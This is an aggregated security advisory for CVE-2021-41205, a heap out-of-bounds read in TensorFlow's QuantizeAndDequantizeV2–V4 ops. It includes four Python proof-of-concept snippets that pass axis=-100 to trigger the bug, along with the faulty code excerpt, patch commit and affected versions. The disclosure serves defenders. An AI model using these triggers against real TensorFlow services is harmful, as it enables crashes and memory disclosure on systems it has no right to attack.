Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS00OXJ4LXgycnctcGM2Zs0XDg
Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops
Impact
The shape inference functions for the QuantizeAndDequantizeV*
operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
gradients=[1.0,1.0],
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
axis=-100)
return data
test()
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV3(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
narrow_range=False,
axis=-100)
return data
test()
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV2(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()
In all of these cases, axis
is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:
...
if (axis != -1) {
...
c->Dim(input, axis);
...
}
Patches
We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Permalink: https://github.com/advisories/GHSA-49rx-x2rw-pc6fJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00OXJ4LXgycnctcGM2Zs0XDg
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: about 1 year ago
CVSS Score: 7.1
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Identifiers: GHSA-49rx-x2rw-pc6f, CVE-2021-41205
References:
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-49rx-x2rw-pc6f
- https://nvd.nist.gov/vuln/detail/CVE-2021-41205
- https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d
- https://github.com/advisories/GHSA-49rx-x2rw-pc6f
Blast Radius: 34.6
Affected Packages
pypi:tensorflow-gpu
Dependent packages: 146Dependent repositories: 11,499
Downloads: 354,712 last month
Affected Version Ranges: < 2.4.4, >= 2.5.0, < 2.5.2, >= 2.6.0, < 2.6.1
Fixed in: 2.4.4, 2.5.2, 2.6.1
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.5.0, 2.5.1, 2.6.0
All unaffected versions: 2.4.4, 2.5.2, 2.5.3, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.12.0
pypi:tensorflow-cpu
Dependent packages: 71Dependent repositories: 2,483
Downloads: 942,065 last month
Affected Version Ranges: < 2.4.4, >= 2.5.0, < 2.5.2, >= 2.6.0, < 2.6.1
Fixed in: 2.4.4, 2.5.2, 2.6.1
All affected versions: 1.15.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.5.0, 2.5.1, 2.6.0
All unaffected versions: 2.4.4, 2.5.2, 2.5.3, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1
pypi:tensorflow
Dependent packages: 1,733Dependent repositories: 73,755
Downloads: 22,560,575 last month
Affected Version Ranges: < 2.4.4, >= 2.5.0, < 2.5.2, >= 2.6.0, < 2.6.1
Fixed in: 2.4.4, 2.5.2, 2.6.1
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.5.0, 2.5.1, 2.6.0
All unaffected versions: 2.4.4, 2.5.2, 2.5.3, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1